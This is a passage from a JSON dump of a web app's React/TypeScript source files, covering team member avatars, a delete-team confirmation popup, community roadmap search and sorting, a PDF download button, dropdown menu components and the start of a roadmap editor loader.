`${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${member.avatar}`\n              : '/img/default-avatar.png';\n            return (\n              <a\n                className=\"group relative\"\n                key={member.email}\n                href={`/team/member?t=${teamId}&m=${member._id}`}\n              >\n                <figure className=\"relative aspect-square size-8 overflow-hidden rounded-md bg-gray-100\">\n                  <img\n                    src={avatar}\n                    alt={member.name || ''}\n                    className=\"absolute inset-0 h-full w-full object-cover\"\n                  />\n                </figure>\n                <Tooltip position=\"top-center\" additionalClass=\"text-sm\">\n                  {member.name}\n                </Tooltip>\n              </a>\n            );\n          })}\n\n          {canManageCurrentTeam && (\n            <button\n              className=\"group relative\"\n              onClick={() => setIsInvitingMember(true)}\n            >\n              <span className=\"relative flex aspect-square size-8 items-center justify-center overflow-hidden rounded-md border border-dashed bg-gray-100\">\n                +\n              </span>\n              <Tooltip position=\"top-center\" additionalClass=\"text-sm\">\n                Add Member\n              </Tooltip>\n            </button>\n          )}\n        </div>\n      )}\n\n      <TeamActivityPage\n        teamId={teamId}\n        canManageCurrentTeam={canManageCurrentTeam}\n      />\n    </section>\n  );\n}\n\ntype TeamMemberLoadingProps = {\n  className?: string;\n};\n\nfunction TeamMemberLoading(props: TeamMemberLoadingProps) {\n  const { className } = props;\n\n  return (\n    <div className={cn('flex flex-wrap gap-2', className)}>\n      {Array.from({ length: 15 }).map((_, index) => (\n        <div\n          key={index}\n          className=\"size-8 animate-pulse rounded-md bg-gray-200\"\n        ></div>\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/DeleteTeamPopup.tsx",
    "content": "import { type FormEvent, useEffect, useRef, useState } from 'react';\nimport { httpDelete } from '../lib/http';\nimport type { TeamDocument } from './CreateTeam/CreateTeamForm';\nimport { useTeamId } from '../hooks/use-team-id';\nimport { useOutsideClick } from '../hooks/use-outside-click';\nimport { useKeydown } from '../hooks/use-keydown';\nimport { useToast } from '../hooks/use-toast';\n\ntype DeleteTeamPopupProps = {\n  onClose: () => void;\n};\n\nexport function DeleteTeamPopup(props: DeleteTeamPopupProps) {\n  const { onClose } = props;\n\n  const toast = useToast();\n  const popupBodyEl = useRef<HTMLDivElement>(null);\n  const inputEl = useRef<HTMLInputElement>(null);\n\n  const [isLoading, setIsLoading] = useState(false);\n  const [error, setError] = useState('');\n  const [confirmationText, setConfirmationText] = useState('');\n  const { teamId } = useTeamId();\n\n  useOutsideClick(popupBodyEl, () => {\n    onClose();\n  });\n\n  useKeydown('Escape', () => {\n    onClose();\n  });\n\n  useEffect(() => {\n    inputEl.current?.focus();\n  }, []);\n\n  const handleSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    setIsLoading(true);\n    setError('');\n\n    if (confirmationText.toUpperCase() !== 'DELETE') {\n      setError('Verification text does not match');\n      setIsLoading(false);\n      return;\n    }\n\n    const { response, error } = await httpDelete<TeamDocument>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-delete-team/${teamId}`\n    );\n\n    if (error || !response) {\n      setIsLoading(false);\n      setError(error?.message || 'Something went wrong');\n      return;\n    }\n\n    toast.success('Team deleted successfully');\n    window.location.href = '/account';\n  };\n\n  const handleClosePopup = () => {\n    setIsLoading(false);\n    setError('');\n    setConfirmationText('');\n\n    onClose();\n  };\n\n  return (\n    <>\n      <div className=\"fixed left-0 right-0 top-0 z-50 flex h-full items-center justify-center overflow-y-auto overflow-x-hidden bg-black/50\">\n        <div className=\"relative h-full w-full max-w-md p-4 md:h-auto\">\n          <div\n            ref={popupBodyEl}\n            className=\"popup-body relative rounded-lg bg-white p-4 shadow-sm\"\n          >\n            <h2 className=\"text-2xl font-semibold text-black\">Delete Team</h2>\n            <p className=\"text-gray-500\">\n              This will permanently delete your team and all associated data.\n            </p>\n\n            <p className=\"-mb-2 mt-3 text-base font-medium text-black\">\n              Please type \"delete\" to confirm.\n            </p>\n            <form onSubmit={handleSubmit}>\n              <div className=\"my-4\">\n                <input\n                  ref={inputEl}\n                  type=\"text\"\n                  name=\"delete-account\"\n                  id=\"delete-account\"\n                  className=\"mt-2 block w-full rounded-md border border-gray-300 px-3 py-2 outline-hidden placeholder:text-gray-400 focus:border-gray-400\"\n                  placeholder={'Type \"delete\" to confirm'}\n                  required\n                  autoFocus\n                  value={confirmationText}\n                  onInput={(e) =>\n                    setConfirmationText((e.target as HTMLInputElement).value)\n                  }\n                />\n                {error && (\n                  <p className=\"mt-2 rounded-lg bg-red-100 p-2 text-red-700\">\n                    {error}\n                  </p>\n                )}\n              </div>\n\n              <div className=\"flex items-center gap-2\">\n                <button\n                  type=\"button\"\n                  disabled={isLoading}\n                  onClick={handleClosePopup}\n                  className=\"grow cursor-pointer rounded-lg bg-gray-200 py-2 text-center\"\n                >\n                  Cancel\n                </button>\n                <button\n                  type=\"submit\"\n                  disabled={\n                    isLoading || confirmationText.toUpperCase() !== 'DELETE'\n                  }\n                  className=\"grow cursor-pointer rounded-lg bg-red-500 py-2 text-white disabled:opacity-40\"\n                >\n                  {isLoading ? 'Please wait ..' : 'Confirm'}\n                </button>\n              </div>\n            </form>\n          </div>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/DiscoverRoadmaps/DiscoverError.tsx",
    "content": "import { ErrorIcon } from '../ReactIcons/ErrorIcon';\n\ntype DiscoverErrorProps = {\n  message: string;\n};\n\nexport function DiscoverError(props: DiscoverErrorProps) {\n  const { message } = props;\n\n  return (\n    <div className=\"flex min-h-[250px] flex-col items-center justify-center rounded-xl border px-5 py-3 sm:px-0 sm:py-20\">\n      <ErrorIcon additionalClasses=\"mb-4 h-8 w-8 sm:h-14 sm:w-14\" />\n      <h2 className=\"mb-1 text-lg font-semibold sm:text-xl\">\n        Oops! Something went wrong\n      </h2>\n      <p className=\"mb-3 text-balance text-center text-xs text-gray-800 sm:text-sm\">\n        {message}\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/DiscoverRoadmaps/DiscoverRoadmapSorting.tsx",
    "content": "import { Check, ChevronDown } from 'lucide-react';\nimport { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport type { SortByValues } from './DiscoverRoadmaps';\n\nconst sortingLabels: { label: string; value: SortByValues }[] = [\n  {\n    label: 'Newest',\n    value: 'createdAt',\n  },\n  {\n    label: 'Oldest',\n    value: '-createdAt',\n  },\n  {\n    label: 'Highest Rated',\n    value: 'rating',\n  },\n  {\n    label: 'Lowest Rated',\n    value: '-rating',\n  },\n];\n\ntype DiscoverRoadmapSortingProps = {\n  sortBy: SortByValues;\n  onSortChange: (sortBy: SortByValues) => void;\n};\n\nexport function DiscoverRoadmapSorting(props: DiscoverRoadmapSortingProps) {\n  const { sortBy, onSortChange } = props;\n\n  const [isOpen, setIsOpen] = useState(false);\n  const dropdownRef = useRef(null);\n\n  const selectedValue = sortingLabels.find((item) => item.value === sortBy);\n\n  useOutsideClick(dropdownRef, () => {\n    setIsOpen(false);\n  });\n\n  return (\n    <div\n      className=\"min-auto relative flex shrink-0 sm:min-w-[140px]\"\n      ref={dropdownRef}\n    >\n      <button\n        className=\"flex w-full items-center justify-between gap-2 rounded-md border bg-white px-2 text-sm\"\n        onClick={() => setIsOpen(!isOpen)}\n      >\n        <span>{selectedValue?.label}</span>\n\n        <span>\n          <ChevronDown className=\"ml-4 h-3.5 w-3.5\" />\n        </span>\n      </button>\n\n      {isOpen && (\n        <div className=\"absolute top-10 right-0 z-10 min-w-40 overflow-hidden rounded-md border border-gray-200 bg-white shadow-lg\">\n          {sortingLabels.map((item) => (\n            <button\n              key={item.value}\n              className=\"flex w-full items-center gap-2 px-4 py-2 text-sm hover:bg-gray-100\"\n              onClick={() => {\n                onSortChange(item.value);\n                setIsOpen(false);\n              }}\n            >\n              <span>{item.label}</span>\n              {item.value === sortBy && <Check className=\"ml-auto h-4 w-4\" />}\n            </button>\n          ))}\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/DiscoverRoadmaps/DiscoverRoadmaps.tsx",
    "content": "import { Shapes } from 'lucide-react';\nimport type { ListShowcaseRoadmapResponse } from '../../api/roadmap';\nimport { Pagination } from '../Pagination/Pagination';\nimport { SearchRoadmap } from './SearchRoadmap';\nimport { EmptyDiscoverRoadmaps } from './EmptyDiscoverRoadmaps';\nimport { Rating } from '../Rating/Rating';\nimport { useEffect, useState } from 'react';\nimport { deleteUrlParam, getUrlParams, setUrlParams } from '../../lib/browser';\nimport { LoadingRoadmaps } from '../ExploreAIRoadmap/LoadingRoadmaps';\nimport { httpGet } from '../../lib/http';\nimport { useToast } from '../../hooks/use-toast';\nimport { DiscoverRoadmapSorting } from './DiscoverRoadmapSorting';\nimport { CreateRoadmapModal } from '../CustomRoadmap/CreateRoadmap/CreateRoadmapModal.tsx';\nimport { Tooltip } from '../Tooltip.tsx';\n\ntype DiscoverRoadmapsProps = {};\n\nexport type SortByValues = 'rating' | '-rating' | 'createdAt' | '-createdAt';\n\ntype QueryParams = {\n  q?: string;\n  s?: SortByValues;\n  p?: string;\n};\n\ntype PageState = {\n  searchTerm: string;\n  sortBy: SortByValues;\n  currentPage: number;\n};\n\nexport function DiscoverRoadmaps(props: DiscoverRoadmapsProps) {\n  const toast = useToast();\n\n  const [pageState, setPageState] = useState<PageState>({\n    searchTerm: '',\n    sortBy: 'createdAt',\n    currentPage: 0,\n  });\n  const [isLoading, setIsLoading] = useState(true);\n  const [roadmapsResponse, setRoadmapsResponse] =\n    useState<ListShowcaseRoadmapResponse | null>(null);\n\n  useEffect(() => {\n    const queryParams = getUrlParams() as QueryParams;\n\n    setPageState({\n      searchTerm: queryParams.q || '',\n      sortBy: queryParams.s || 'createdAt',\n      currentPage: +(queryParams.p || '1'),\n    });\n  }, []);\n\n  useEffect(() => {\n    setIsLoading(true);\n    if (!pageState.currentPage) {\n      return;\n    }\n\n    // only set the URL params if the user modified anything\n    if (\n      pageState.currentPage !== 1 ||\n      pageState.searchTerm !== '' ||\n      pageState.sortBy !== 'createdAt'\n    ) {\n      setUrlParams({\n        q: pageState.searchTerm,\n        s: pageState.sortBy,\n        p: String(pageState.currentPage),\n      });\n    } else {\n      deleteUrlParam('q');\n      deleteUrlParam('s');\n      deleteUrlParam('p');\n    }\n\n    loadAIRoadmaps(\n      pageState.currentPage,\n      pageState.searchTerm,\n      pageState.sortBy,\n    ).finally(() => {\n      setIsLoading(false);\n    });\n  }, [pageState]);\n\n  const loadAIRoadmaps = async (\n    currPage: number = 1,\n    searchTerm: string = '',\n    sortBy: SortByValues = 'createdAt',\n  ) => {\n    const { response, error } = await httpGet<ListShowcaseRoadmapResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-list-showcase-roadmap`,\n      {\n        currPage,\n        ...(searchTerm && { searchTerm }),\n        ...(sortBy && { sortBy }),\n      },\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Something went wrong');\n      return;\n    }\n\n    setRoadmapsResponse(response);\n  };\n\n  const [isCreatingRoadmap, setIsCreatingRoadmap] = useState(false);\n\n  const roadmaps = roadmapsResponse?.data || [];\n\n  const loadingIndicator = isLoading && <LoadingRoadmaps />;\n\n  return (\n    <>\n      {isCreatingRoadmap && (\n        <CreateRoadmapModal\n          onClose={() => {\n            setIsCreatingRoadmap(false);\n          }}\n        />\n      )}\n\n      <div className=\"border-b bg-white pt-10 pb-7\">\n        <div className=\"container text-left\">\n          <div className=\"flex flex-col items-start bg-white\">\n            <h1 className=\"mb-2 text-3xl font-bold sm:text-4xl\">\n              Community Roadmaps\n            </h1>\n            <p className=\"mb-5 text-base text-gray-500\">\n              A selected list of community-created roadmaps\n            </p>\n            <div className=\"relative\">\n              <div className=\"flex flex-col sm:flex-row items-center gap-1.5\">\n                <span className=\"group relative normal-case\">\n                  <button\n                    className=\"rounded-md bg-black px-3.5 py-1.5 text-sm font-medium text-white transition-colors hover:bg-black\"\n                    onClick={() => {\n                      setIsCreatingRoadmap(true);\n                    }}\n                  >\n                    Create your own roadmap\n                  </button>\n                </span>\n                <span className=\"group relative normal-case\">\n                  <a\n                    href=\"/roadmaps\"\n                    className=\"inline-block rounded-md bg-gray-300 px-3.5 py-1.5 text-sm text-black sm:py-1.5 sm:text-sm\"\n                  >\n                    Visit our official roadmaps\n                  </a>\n                </span>\n              </div>\n            </div>\n          </div>\n        </div>\n      </div>\n      <div className=\"bg-gray-50 py-3\">\n        <section className=\"container mx-auto py-3\">\n          <div className=\"mb-3.5 flex items-stretch justify-between gap-2.5\">\n            <SearchRoadmap\n              total={roadmapsResponse?.totalCount || 0}\n              value={pageState.searchTerm}\n              isLoading={isLoading}\n              onValueChange={(value) => {\n                setPageState({\n                  ...pageState,\n                  searchTerm: value,\n                  currentPage: 1,\n                });\n              }}\n            />\n\n            <DiscoverRoadmapSorting\n              sortBy={pageState.sortBy}\n              onSortChange={(sortBy) => {\n                setPageState({\n                  ...pageState,\n                  sortBy,\n                });\n              }}\n            />\n          </div>\n\n          {loadingIndicator}\n          {roadmaps.length === 0 && !isLoading && <EmptyDiscoverRoadmaps />}\n          {roadmaps.length > 0 && !isLoading && (\n            <>\n              <ul className=\"mb-4 grid grid-cols-1 items-stretch gap-3 sm:grid-cols-2 lg:grid-cols-3\">\n                {roadmaps.map((roadmap) => {\n                  const roadmapLink = `/r/${roadmap.slug}`;\n                  const totalRatings = Object.keys(\n                    roadmap.ratings?.breakdown || [],\n                  ).reduce(\n                    (acc: number, key: string) =>\n                      acc + roadmap.ratings.breakdown[key as any],\n                    0,\n                  );\n                  return (\n                    <li key={roadmap._id} className=\"h-full min-h-[175px]\">\n                      <a\n                        key={roadmap._id}\n                        href={roadmapLink}\n                        className=\"flex h-full flex-col rounded-lg border bg-white p-3.5 transition-colors hover:border-gray-300 hover:bg-gray-50\"\n                        target={'_blank'}\n                      >\n                        <div className=\"grow\">\n                          <h2 className=\"text-balance text-base font-bold leading-tight\">\n                            {roadmap.title}\n                          </h2>\n                          <p className=\"mt-2 text-sm text-gray-500\">\n                            {roadmap.description}\n                          </p>\n                        </div>\n\n                        <div className=\"flex items-center justify-between gap-2\">\n                          <span className=\"flex items-center gap-1 text-xs text-gray-400\">\n                            <Shapes size={15} className=\"inline-block\" />\n                            {Intl.NumberFormat('en-US', {\n                              notation: 'compact',\n                            }).format(roadmap.topicCount)}{' '}\n                          </span>\n\n                          <Rating\n                            rating={roadmap?.ratings?.average || 0}\n                            readOnly={true}\n                            starSize={16}\n                            total={totalRatings}\n                          />\n                        </div>\n                      </a>\n                    </li>\n                  );\n                })}\n              </ul>\n\n              <Pagination\n                currPage={roadmapsResponse?.currPage || 1}\n                totalPages={roadmapsResponse?.totalPages || 1}\n                perPage={roadmapsResponse?.perPage || 0}\n                totalCount={roadmapsResponse?.totalCount || 0}\n                onPageChange={(page) => {\n                  setPageState({\n                    ...pageState,\n                    currentPage: page,\n                  });\n                }}\n              />\n            </>\n          )}\n        </section>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/DiscoverRoadmaps/EmptyDiscoverRoadmaps.tsx",
    "content": "import { Map, Wand2 } from 'lucide-react';\nimport { useState } from 'react';\nimport { CreateRoadmapModal } from '../CustomRoadmap/CreateRoadmap/CreateRoadmapModal';\n\nexport function EmptyDiscoverRoadmaps() {\n  const [isCreatingRoadmap, setIsCreatingRoadmap] = useState(false);\n\n  const creatingRoadmapModal = isCreatingRoadmap && (\n    <CreateRoadmapModal\n      onClose={() => setIsCreatingRoadmap(false)}\n      onCreated={(roadmap) => {\n        window.location.href = `${\n          import.meta.env.PUBLIC_EDITOR_APP_URL\n        }/${roadmap?._id}`;\n      }}\n    />\n  );\n\n  return (\n    <>\n      {creatingRoadmapModal}\n\n      <div className=\"flex min-h-[250px] flex-col items-center justify-center rounded-xl border px-5 py-3 sm:px-0 sm:py-20 bg-white\">\n        <Map className=\"mb-4 h-8 w-8 opacity-10 sm:h-14 sm:w-14\" />\n        <h2 className=\"mb-1 text-lg font-semibold sm:text-xl\">\n          No Roadmaps Found\n        </h2>\n        <p className=\"mb-3 text-balance text-center text-xs text-gray-800 sm:text-sm\">\n          Try searching for something else or create a new roadmap.\n        </p>\n        <div className=\"flex flex-col items-center gap-1 sm:flex-row sm:gap-1.5\">\n          <button\n            className=\"flex w-full items-center gap-1.5 rounded-md bg-gray-900 px-3 py-1.5 text-xs text-white sm:w-auto sm:text-sm\"\n            type=\"button\"\n            onClick={() => {\n              setIsCreatingRoadmap(true);\n            }}\n          >\n            <Wand2 className=\"h-4 w-4\" />\n            Create your Roadmap\n          </button>\n          <a\n            href=\"/roadmaps\"\n            className=\"flex w-full items-center gap-1.5 rounded-md bg-gray-300 px-3 py-1.5 text-xs text-black hover:bg-gray-400 sm:w-auto sm:text-sm\"\n          >\n            <Map className=\"h-4 w-4\" />\n            Visit Official Roadmaps\n          </a>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/DiscoverRoadmaps/SearchRoadmap.tsx",
    "content": "import { Search } from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { useDebounceValue } from '../../hooks/use-debounce';\nimport { Spinner } from '../ReactIcons/Spinner';\n\ntype SearchRoadmapProps = {\n  value: string;\n  total: number;\n  isLoading: boolean;\n  onValueChange: (value: string) => void;\n};\n\nexport function SearchRoadmap(props: SearchRoadmapProps) {\n  const { total, value: defaultValue, onValueChange, isLoading } = props;\n\n  const [term, setTerm] = useState(defaultValue);\n  const debouncedTerm = useDebounceValue(term, 500);\n\n  useEffect(() => {\n    setTerm(defaultValue);\n  }, [defaultValue]);\n\n  useEffect(() => {\n    if (debouncedTerm && debouncedTerm.length < 3) {\n      return;\n    }\n\n    if (debouncedTerm === defaultValue) {\n      return;\n    }\n\n    onValueChange(debouncedTerm);\n  }, [debouncedTerm]);\n\n  return (\n    <div className=\"relative flex w-full items-center gap-3\">\n      <form\n        className=\"relative flex w-full max-w-[310px] items-center\"\n        onSubmit={(e) => {\n          e.preventDefault();\n          onValueChange(term);\n        }}\n      >\n        <label\n          className=\"absolute left-3 flex h-full items-center text-gray-500\"\n          htmlFor=\"search\"\n        >\n          <Search className=\"h-4 w-4\" />\n        </label>\n        <input\n          id=\"q\"\n          name=\"q\"\n          type=\"text\"\n          minLength={3}\n          placeholder=\"Type 3 or more characters to search...\"\n          className=\"w-full rounded-md border border-gray-200 px-3 py-2 pl-9 text-sm transition-colors focus:border-black focus:outline-hidden\"\n          value={term}\n          onChange={(e) => setTerm(e.target.value)}\n        />\n        {isLoading && (\n          <span className=\"absolute right-3 top-0 flex h-full items-center text-gray-500\">\n            <Spinner isDualRing={false} className={`h-3 w-3`} />\n          </span>\n        )}\n      </form>\n      {total > 0 && (\n        <p className=\"hidden shrink-0 text-sm text-gray-500 sm:block\">\n          {Intl.NumberFormat('en-US', {\n            notation: 'compact',\n          }).format(total)}{' '}\n          result{total > 1 ? 's' : ''} found\n        </p>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/DownloadRoadmapButton.tsx",
    "content": "import { Download } from 'lucide-react';\nimport { isLoggedIn } from '../lib/jwt.ts';\nimport { useEffect, useState } from 'react';\nimport { showLoginPopup } from '../lib/popup.ts';\nimport { getUrlParams } from '../lib/browser.ts';\n\ntype DownloadRoadmapButtonProps = {\n  roadmapId: string;\n};\n\nexport function DownloadRoadmapButton(props: DownloadRoadmapButtonProps) {\n  const { roadmapId } = props;\n\n  const [url, setUrl] = useState<string>('#');\n\n  useEffect(() => {\n    const params = getUrlParams();\n    const roadmapSlug = params?.r || roadmapId;\n\n    if (isLoggedIn()) {\n      setUrl(`/pdfs/roadmaps/${roadmapSlug}.pdf`);\n    }\n  }, []);\n\n  return (\n    <a\n      className=\"inline-flex items-center justify-center rounded-md bg-yellow-400 px-3 py-1.5 text-xs font-medium hover:bg-yellow-500 sm:text-sm\"\n      aria-label=\"Download Roadmap\"\n      target=\"_blank\"\n      href={url}\n      onClick={(e) => {\n        if (isLoggedIn()) {\n          return;\n        }\n\n        e.preventDefault();\n        showLoginPopup();\n      }}\n    >\n      <Download className=\"h-4 w-4\" />\n      <span className=\"ml-2 hidden sm:inline\">Download</span>\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/DropdownMenu.tsx",
    "content": "import * as React from 'react';\nimport * as DropdownMenuPrimitive from '@radix-ui/react-dropdown-menu';\nimport { Check, ChevronRight, Circle } from 'lucide-react';\nimport { cn } from '../lib/classname';\n\nconst DropdownMenu = DropdownMenuPrimitive.Root;\n\nconst DropdownMenuTrigger = DropdownMenuPrimitive.Trigger;\n\nconst DropdownMenuGroup = DropdownMenuPrimitive.Group;\n\nconst DropdownMenuPortal = DropdownMenuPrimitive.Portal;\n\nconst DropdownMenuSub = DropdownMenuPrimitive.Sub;\n\nconst DropdownMenuRadioGroup = DropdownMenuPrimitive.RadioGroup;\n\nconst DropdownMenuSubTrigger = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.SubTrigger>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubTrigger> & {\n    inset?: boolean;\n  }\n>(({ className, inset, children, ...props }, ref) => (\n  <DropdownMenuPrimitive.SubTrigger\n    ref={ref}\n    className={cn(\n      'flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none select-none focus-visible:bg-gray-100 data-[state=open]:bg-gray-100 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0',\n      inset && 'pl-8',\n      className,\n    )}\n    {...props}\n  >\n    {children}\n    <ChevronRight className=\"ml-auto\" />\n  </DropdownMenuPrimitive.SubTrigger>\n));\nDropdownMenuSubTrigger.displayName =\n  DropdownMenuPrimitive.SubTrigger.displayName;\n\nconst DropdownMenuSubContent = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.SubContent>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubContent>\n>(({ className, ...props }, ref) => (\n  <DropdownMenuPrimitive.SubContent\n    ref={ref}\n    className={cn(\n      'bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 min-w-[8rem] overflow-hidden rounded-md border p-1 shadow-lg',\n      className,\n    )}\n    {...props}\n  />\n));\nDropdownMenuSubContent.displayName =\n  DropdownMenuPrimitive.SubContent.displayName;\n\nconst DropdownMenuContent = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Content>\n>(({ className, sideOffset = 4, ...props }, ref) => (\n  <DropdownMenuPrimitive.Portal>\n    <DropdownMenuPrimitive.Content\n      ref={ref}\n      sideOffset={sideOffset}\n      className={cn(\n        'z-50 min-w-45 overflow-hidden rounded-lg border border-gray-200 bg-white p-0.5 text-black shadow-md',\n        className,\n      )}\n      {...props}\n    />\n  </DropdownMenuPrimitive.Portal>\n));\nDropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName;\n\nconst DropdownMenuItem = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.Item>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Item> & {\n    inset?: boolean;\n  }\n>(({ className, inset, ...props }, ref) => (\n  <DropdownMenuPrimitive.Item\n    ref={ref}\n    className={cn(\n      'relative flex cursor-default items-center gap-2 rounded-md px-2 py-1.5 text-sm text-black outline-none select-none focus:bg-gray-100 focus:text-black data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0',\n      inset && 'pl-8',\n      className,\n    )}\n    {...props}\n  />\n));\nDropdownMenuItem.displayName = DropdownMenuPrimitive.Item.displayName;\n\nconst DropdownMenuCheckboxItem = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.CheckboxItem>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.CheckboxItem>\n>(({ className, children, checked, ...props }, ref) => (\n  <DropdownMenuPrimitive.CheckboxItem\n    ref={ref}\n    className={cn(\n      'focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center rounded-sm py-1.5 pr-2 pl-8 text-sm transition-colors outline-none select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50',\n      className,\n    )}\n    checked={checked}\n    {...props}\n  >\n    <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n      <DropdownMenuPrimitive.ItemIndicator>\n        <Check className=\"h-4 w-4\" />\n      </DropdownMenuPrimitive.ItemIndicator>\n    </span>\n    {children}\n  </DropdownMenuPrimitive.CheckboxItem>\n));\nDropdownMenuCheckboxItem.displayName =\n  DropdownMenuPrimitive.CheckboxItem.displayName;\n\nconst DropdownMenuRadioItem = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.RadioItem>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.RadioItem>\n>(({ className, children, ...props }, ref) => (\n  <DropdownMenuPrimitive.RadioItem\n    ref={ref}\n    className={cn(\n      'focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center rounded-sm py-1.5 pr-2 pl-8 text-sm transition-colors outline-none select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50',\n      className,\n    )}\n    {...props}\n  >\n    <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n      <DropdownMenuPrimitive.ItemIndicator>\n        <Circle className=\"h-2 w-2 fill-current\" />\n      </DropdownMenuPrimitive.ItemIndicator>\n    </span>\n    {children}\n  </DropdownMenuPrimitive.RadioItem>\n));\nDropdownMenuRadioItem.displayName = DropdownMenuPrimitive.RadioItem.displayName;\n\nconst DropdownMenuLabel = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.Label>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Label> & {\n    inset?: boolean;\n  }\n>(({ className, inset, ...props }, ref) => (\n  <DropdownMenuPrimitive.Label\n    ref={ref}\n    className={cn(\n      'px-2 py-1.5 text-sm font-semibold',\n      inset && 'pl-8',\n      className,\n    )}\n    {...props}\n  />\n));\nDropdownMenuLabel.displayName = DropdownMenuPrimitive.Label.displayName;\n\nconst DropdownMenuSeparator = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.Separator>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Separator>\n>(({ className, ...props }, ref) => (\n  <DropdownMenuPrimitive.Separator\n    ref={ref}\n    className={cn('-mx-1 my-0.5 h-px bg-gray-200', className)}\n    {...props}\n  />\n));\nDropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName;\n\nconst DropdownMenuShortcut = ({\n  className,\n  ...props\n}: React.HTMLAttributes<HTMLSpanElement>) => {\n  return (\n    <span\n      className={cn('ml-auto text-xs tracking-widest opacity-60', className)}\n      {...props}\n    />\n  );\n};\nDropdownMenuShortcut.displayName = 'DropdownMenuShortcut';\n\nexport {\n  DropdownMenu,\n  DropdownMenuCheckboxItem,\n  DropdownMenuContent,\n  DropdownMenuGroup,\n  DropdownMenuItem,\n  DropdownMenuLabel,\n  DropdownMenuPortal,\n  DropdownMenuRadioGroup,\n  DropdownMenuRadioItem,\n  DropdownMenuSeparator,\n  DropdownMenuShortcut,\n  DropdownMenuSub,\n  DropdownMenuSubContent,\n  DropdownMenuSubTrigger,\n  DropdownMenuTrigger,\n};\n"
  },
  {
    "path": "src/components/EditorRoadmap/EditorRoadmap.tsx",
    "content": "import { useEffect, useState, type CSSProperties } from 'react';\nimport {\n  EditorRoadmapRenderer,\n  type RoadmapRendererProps,\n} from './EditorRoadmapRenderer';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport {\n  clearMigratedRoadmapProgress,\n  type ResourceType,\n} from '../../lib/resource-progress';\nimport { httpGet } from '../../lib/http';\nimport { getUrlParams } from '../../lib/browser.ts';\nimport { RoadmapFloatingChat } from '../FrameRenderer/RoadmapFloatingChat.tsx';\n\ntype EditorRoadmapProps = {\n  resourceId: string;\n  resourceType?: ResourceType;\n  hasChat?: boolean;\n  dimensions: {\n    width: number;\n    height: number;\n  };\n};\n\nexport function EditorRoadmap(props: EditorRoadmapProps) {\n  const {\n    resourceId,\n    resourceType = 'roadmap',\n    dimensions,\n    hasChat = true,\n  } = props;\n\n  const [hasSwitchedRoadmap, setHasSwitchedRoadmap] = useState(false);\n  const [isLoading, setIsLoading] = useState(true);\n  const [roadmapData, setRoadmapData] = useState<\n    Omit<RoadmapRendererProps, 'resourceId'> | undefined\n  >(undefined);\n\n  const loadRoadmapData = async () => {\n    setIsLoading(true);\n    const { r: switchRoadmapId } = getUrlParams();\n\n    const { response, error } = await httpGet<\n      Omit<RoadmapRendererProps, 'resourceId'>\n    >(\n      `${import.meta.env.PUBLIC_API_URL}/v1-official-roadmap/${switchRoadmapId || resourceId}`,\n    );\n\n    if (error) {\n      console.error(error);\n      return;\n    }\n\n    setRoadmapData(response);\n    setIsLoading(false);\n    setHasSwitchedRoadmap(!!switchRoadmapId);\n  };\n\n  useEffect(() => {\n    clearMigratedRoadmapProgress(resourceType, resourceId);\n    loadRoadmapData().finally();\n  }, [resourceId]);\n\n  const aspectRatio = dimensions.width / dimensions.height;\n\n  if (!roadmapData || isLoading) {\n    return (\n      <div\n        style={\n          !hasSwitchedRoadmap\n            ? ({\n                '--aspect-ratio': aspectRatio,\n              } as CSSProperties)\n            : undefined\n        }\n        className={\n          'mt-5 